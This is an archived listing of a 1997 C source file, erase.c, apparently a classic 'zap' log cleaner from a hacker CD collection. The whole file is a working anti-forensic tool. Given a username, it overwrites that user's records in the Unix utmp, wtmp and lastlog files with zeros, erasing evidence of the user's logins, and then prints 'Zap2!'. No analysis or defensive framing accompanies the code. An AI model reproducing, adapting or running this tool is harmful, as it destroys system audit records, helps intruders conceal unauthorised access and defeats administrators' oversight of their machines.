home *** CD-ROM | disk | FTP | other *** search
/ Chaos Computer Club 1997 February / cccd_beta_feb_97.iso / contrib / faq / 2600 / erase.c < prev    next >
Encoding:
C/C++ Source or Header  |  1997-02-28  |  1.9 KB  |  87 lines

  1. #include <sys/types.h>
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <sys/file.h>
  5. #include <fcntl.h>
  6. #include <utmp.h>
  7. #include <pwd.h>
  8. #include <lastlog.h>
  9. #define WTMP_NAME "/usr/adm/wtmp"
  10. #define UTMP_NAME "/etc/utmp"
  11. #define LASTLOG_NAME "/usr/adm/lastlog"
  12.  
  13. int f;
  14.  
  15. void kill_utmp(who)
  16. char *who;
  17. {
  18.     struct utmp utmp_ent;
  19.  
  20.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  21.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  22.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  23.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  24.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  25.                  write (f, &utmp_ent, sizeof (utmp_ent));
  26.             }
  27.      close(f);
  28.   }
  29. }
  30.  
  31. void kill_wtmp(who)
  32. char *who;
  33. {
  34.     struct utmp utmp_ent;
  35.     long pos;
  36.  
  37.     pos = 1L;
  38.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  39.  
  40.      while(pos != -1L) {
  41.         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  42.         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  43.           pos = -1L;
  44.         } else {
  45.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  46.                bzero((char *)&utmp_ent,sizeof(struct utmp ));
  47.                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  48.                write (f, &utmp_ent, sizeof (utmp_ent));
  49.                pos = -1L;
  50.           } else pos += 1L;
  51.         }
  52.      }
  53.      close(f);
  54.   }
  55. }
  56.  
  57. void kill_lastlog(who)
  58. char *who;
  59. {
  60.     struct passwd *pwd;
  61.     struct lastlog newll;
  62.  
  63.      if ((pwd=getpwnam(who))!=NULL) {
  64.  
  65.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  66.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  67.             bzero((char *)&newll,sizeof( newll ));
  68.             write(f, (char *)&newll, sizeof( newll ));
  69.             close(f);
  70.         }
  71.  
  72.     } else printf("%s: ?\n",who);
  73. }
  74.  
  75. main(argc,argv)
  76. int argc;
  77. char *argv[];
  78. {
  79.     if (argc==2) {
  80.         kill_lastlog(argv[1]);
  81.         kill_wtmp(argv[1]);
  82.         kill_utmp(argv[1]);
  83.         printf("Zap2!\n");
  84.     } else
  85.     printf("Error.\n");
  86. }
  87.